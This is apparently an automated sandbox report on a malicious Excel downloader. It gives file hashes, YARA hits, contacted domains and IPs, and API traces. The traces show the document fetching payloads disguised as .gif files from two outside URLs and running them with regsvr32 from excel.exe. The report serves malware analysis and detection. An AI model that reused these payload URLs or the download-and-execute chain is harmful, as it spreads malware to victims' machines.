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biz-1267896036.xls

Downloader MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 21, 2021, 8:40 a.m. Oct. 21, 2021, 8:46 a.m.
Size 250.5KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 18:19:34 2015, Last Saved Time/Date: Wed Oct 20 16:02:20 2021, Security: 0
MD5 420b2cc7bf39507ded9f96d8af3745e9
SHA256 afa84cfbc339d361d05d8d5fd63f85e22b733cc78ac8b76b01fc2b9a3d39ed17
CRC32 70587904
ssdeep 6144:QKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgI9LW3cZZFtj+1FObjgvOEPDclovS3unQ7R:69L1TjSobjgvzDC3fLvfH1WOP
Yara
  • Microsoft_Office_File_Downloader_Zero - Microsoft Office File Downloader
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
capaxion.cl
A 161.97.71.28
161.97.71.28
sahmanish.com.np
A 149.255.59.21
149.255.59.21
IP Address Status Action
149.255.59.21 Active Moloch
161.97.71.28 Active Moloch
164.124.101.2 Active Moloch

Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2508
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6bf98000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2508
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b342000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2728
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6c471000
process_handle: 0xffffffff
1 0 0
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
cmdline "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
cmdline regsvr32 C:\Datop\test1.test
cmdline regsvr32 C:\Datop\test.test
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2508
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: https://capaxion.cl/7SjU50ph/h.gif
stack_pivoted: 0
filepath_r: C:\Datop\test.test
filepath: C:\Datop\test.test
2148270085 0

URLDownloadToFileW

 url: https://sahmanish.com.np/QtIKuTt6hBz/h.gif
stack_pivoted: 0
filepath_r: C:\Datop\test1.test
filepath: C:\Datop\test1.test
2148270085 0
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test1.test
parent_process excel.exe martian_process "C:\Windows\System32\regsvr32.exe" C:\Datop\test.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test1.test
parent_process excel.exe martian_process regsvr32 C:\Datop\test.test
file C:\Windows\System32\regsvr32.exe